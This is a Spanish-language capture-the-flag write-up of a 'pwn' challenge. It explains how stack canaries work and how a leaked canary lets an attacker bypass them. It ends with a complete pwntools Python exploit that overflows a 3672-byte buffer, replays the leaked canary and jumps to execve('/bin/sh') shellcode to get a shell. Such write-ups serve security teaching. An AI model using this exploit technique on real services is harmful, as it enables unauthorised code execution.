Cegat0n: Pwning (200)

By DanuX - @danuxx

Descripcion:

Fantastico pwn al Netgear Router!!!! 
Ya debes tene la IP y el puerto donde corre un servicio dentro de la red 

interna que creemos nadie supervisa.

Explotalo, obten shell para que leas el archivo: path_to_LeeTarjetas el cual 

tendra el path de un programa que permite leer tarjetas de credito dentro del 

Bunker!!!!

Descarga el binario, y la flag sera el MD5sum del mismo.

Este reto era fileless, esto es, no se otorgo ningun binario para su analisis.
Al conectarse al socket se obtenia la siguiente respuesta:

Podemos ver que se muestran los permisos de proteccion donde vemos que no hay proteccion de ejecucion en el stack (NX) lo que significa que podemos guardar un shellcode en esa seccion de memoria y ejecutarlo. Pero vemos que si hay Stack Canary lo que significa que protege el stack de ataques de Buffer Overflows.

Finalmente, el programa imprime un valor de 8 bytes despues de "Un pajarito me dijo" y tambien la direccion en memoria donde se guarda el input recibido.

Rapidamente, como funciona el stack canary? Es un valor que se calcula en cada stack (durante llamadas de funciones del programa) el cual se coloca antes del Return Addess para que cuando este ultimo se sobreescriba via un Buffer Overflow, primero se tiene que sobreescribir dicho Canary y entonces dicha alteracion se valida al final de la funcion para entonces detectar el malicioso ataque.

Como se puede bypasear el canary protection? Una forma es lekear el canary de la memoria y entonces durante el ataque de Buffer Overflow, mandar el canary esperado por el programa antes de sobreescribir el Return Address para que entonces no se detecte ninguna alteracion y el exploit funcione :-)

De regreso al challenge, se envian algunas A's y se recibe la siguiente respuesta:

Notamos que esos 8 bytes que el "pajarito dijo" es el mismo que se muestra despues de recibir los datos via "El pajarito responde". De donde viene esos 8 bytes?

Si se empiezan a enviar inputs cada vez mas grandes, eventualmente despues de 3672 A's notaran que la respuesta del pajarito es alterada, en la imagen de abajo, los primeros 4 bytes menos significativos alteraron dicha respuesta con A's (0x41) y se recibe un error de "stack smashing detected" el cual se genera cuando se detecta un ataque de Stack Overflow.

Esto nos ayuda a confirmar que esos 8 bytes mostrados son nada mas y nada menos que el stack canary! Con esto lo unico que se tiene que hacer, es cachar dicho canary el cual lo manda el programa al inicio, y despues mandarlo durante el Stack Overflow para entonces despues sobreescribir el return address con nuestro Shellcode.

El exploit final quedaria asi:

#!/usr/bin/python

from pwn import *

context.arch = "amd64"
context.os = "linux"
#context.log_level = 'debug'

b = ELF("./cegat0n")

def amd_pwn(DEBUG="1"):
        if DEBUG=="1":
                with context.local(aslr=False):
                   r = process(["./cegat0n"])
                   gdb.attach(r, )
        elif DEBUG=="2":
                r = process(["./cegat0n"])
        elif DEBUG=="3":
                HOST = "localhost"
                PORT = 1338
                r = remote(HOST,PORT)

        r.recvuntil("pajarito me dijo: [")

        canary_leak = int(r.recvline(False)[2:18],16);
        log.info("Canary: %s" % hex(canary_leak))
        
        r.recvuntil("guardara en: [")
        buff_leak = int(r.recvline(False)[2:14],16);
        log.info("Buffer Leak: %s" % hex(buff_leak))
        

        sc = asm(shellcraft.execve("/bin/sh"))
        size = 3672 - len(sc)
        nops = "\x90" * size

        r.sendline(sc + nops + p64(canary_leak) + "B"*8 + p64(buff_leak) )
        r.interactive()


amd_pwn(sys.argv[1])

Y al ejecutarlo obtenemos Shell: